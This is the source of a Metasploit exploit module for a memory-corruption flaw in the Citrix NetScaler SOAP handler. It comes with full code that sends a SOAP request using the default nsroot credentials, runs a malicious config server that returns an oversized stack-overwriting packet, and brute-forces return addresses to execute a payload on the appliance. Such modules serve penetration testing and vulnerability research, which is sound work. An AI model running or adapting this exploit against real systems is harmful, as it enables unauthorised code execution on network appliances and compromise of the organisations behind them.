Citrix NetScaler SOAP Handler Remote Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::TcpServer  
include Msf::Exploit::Brute  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Citrix NetScaler SOAP Handler Remote Code Execution",  
'Description' => %q{  
This module exploits a memory corruption vulnerability on the Citrix NetScaler Appliance.  
The vulnerability exists in the SOAP handler, accessible through the web interface. A  
malicious SOAP requests can force the handler to connect to a malicious NetScaler config  
server. This malicious config server can send a specially crafted response in order to  
trigger a memory corruption and overwrite data in the stack, to finally execute arbitrary  
code with the privileges of the web server running the SOAP handler. This module has been  
tested successfully on the NetScaler Virtual Appliance 450010.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Bradley Austin', # Vulnerability Discovery and PoC  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
['URL', 'http://console-cowboys.blogspot.com/2014/09/scaling-netscaler.html']  
],  
'Payload' =>  
{  
'Space' => 1024,  
'MinNops' => 512,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'Arch' => ARCH_X86,  
'Platform' => 'bsd',  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Targets' =>  
[  
[ 'NetScaler Virtual Appliance 450010',  
{  
'RwPtr' => 0x80b9000, # apache2 rw address / Since this target is a virtual appliance, has sense.  
'Offset' => 606,  
'Ret' => 0xffffda94, # Try before bruteforce...  
# The virtual appliance lacks of security mitigations like DEP/ASLR, since the  
# process being exploited is an apache child, the bruteforce attack works fine  
# here.  
'Bruteforce' =>  
{  
'Start' => { 'Ret' => 0xffffec00 }, # bottom of the stack  
'Stop' => { 'Ret' => 0xfffdf000 }, # top of the stack  
'Step' => 256  
}  
}  
],  
],  
'DisclosureDate' => "Sep 22 2014",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to the soap handler', '/soap']),  
OptAddress.new('SRVHOST', [true, "The local host to listen on. This must be an address on the local machine reachable by the target", ]),  
OptPort.new('SRVPORT', [true, "The local port to listen on.", 3010])  
], self.class)  
end  
  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
})  
  
if res && res.code == 200 && res.body && res.body =~ /Server Request Handler.*No body received/m  
return Exploit::CheckCode::Detected  
end  
  
Exploit::CheckCode::Unknown  
end  
  
def exploit  
if ['0.0.0.0', '127.0.0.1'].include?(datastore['SRVHOST'])  
fail_with(Failure::BadConfig, 'Bad SRVHOST, use an address on the local machine reachable by the target')  
end  
  
if check != Exploit::CheckCode::Detected  
fail_with(Failure::NoTarget, "#{peer} - SOAP endpoint not found")  
end  
  
start_service  
  
if target.ret  
@curr_ret = target.ret  
send_request_soap  
Rex.sleep(3)  
  
if session_created?  
return  
end  
end  
  
super  
end  
  
def brute_exploit(addrs)  
@curr_ret = addrs['Ret']  
send_request_soap  
end  
  
def send_request_soap  
soap = <<-EOS  
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">  
<SOAP-ENV:Body>  
<ns7744:login xmlns:ns7744="urn:NSConfig">  
<username xsi:type="xsd:string">nsroot</username>  
<password xsi:type="xsd:string">nsroot</password>  
<clientip xsi:type="xsd:string">#{datastore['SRVHOST']}</clientip>  
<cookieTimeout xsi:type="xsd:int">1800</cookieTimeout>  
<ns xsi:type="xsd:string">#{datastore['SRVHOST']}</ns>  
</ns7744:login>  
</SOAP-ENV:Body>  
</SOAP-ENV:Envelope>  
EOS  
  
print_status("#{peer} - Sending soap request...")  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'data' => soap  
}, 1)  
end  
  
def on_client_data(c)  
print_status("#{c.peerhost} - Getting request...")  
  
data = c.get_once(2)  
req_length = data.unpack("v")[0]  
  
req_data = c.get_once(req_length - 2)  
unless req_data.unpack("V")[0] == 0xa5a50000  
print_error("#{c.peerhost} - Incorrect request... sending payload anyway")  
end  
  
print_status("#{c.peerhost} - Sending #{payload.encoded.length} bytes payload with ret 0x#{@curr_ret.to_s(16)}...")  
  
my_payload = Rex::Text.pattern_create(target['Offset'])  
my_payload << [@curr_ret, target['RwPtr']].pack("V*")  
my_payload << payload.encoded  
  
pkt = [my_payload.length + 6].pack("v")  
pkt << "\x00\x00\xa5\xa5"  
pkt << my_payload  
c.put(pkt)  
c.disconnect  
end  
  
end  
`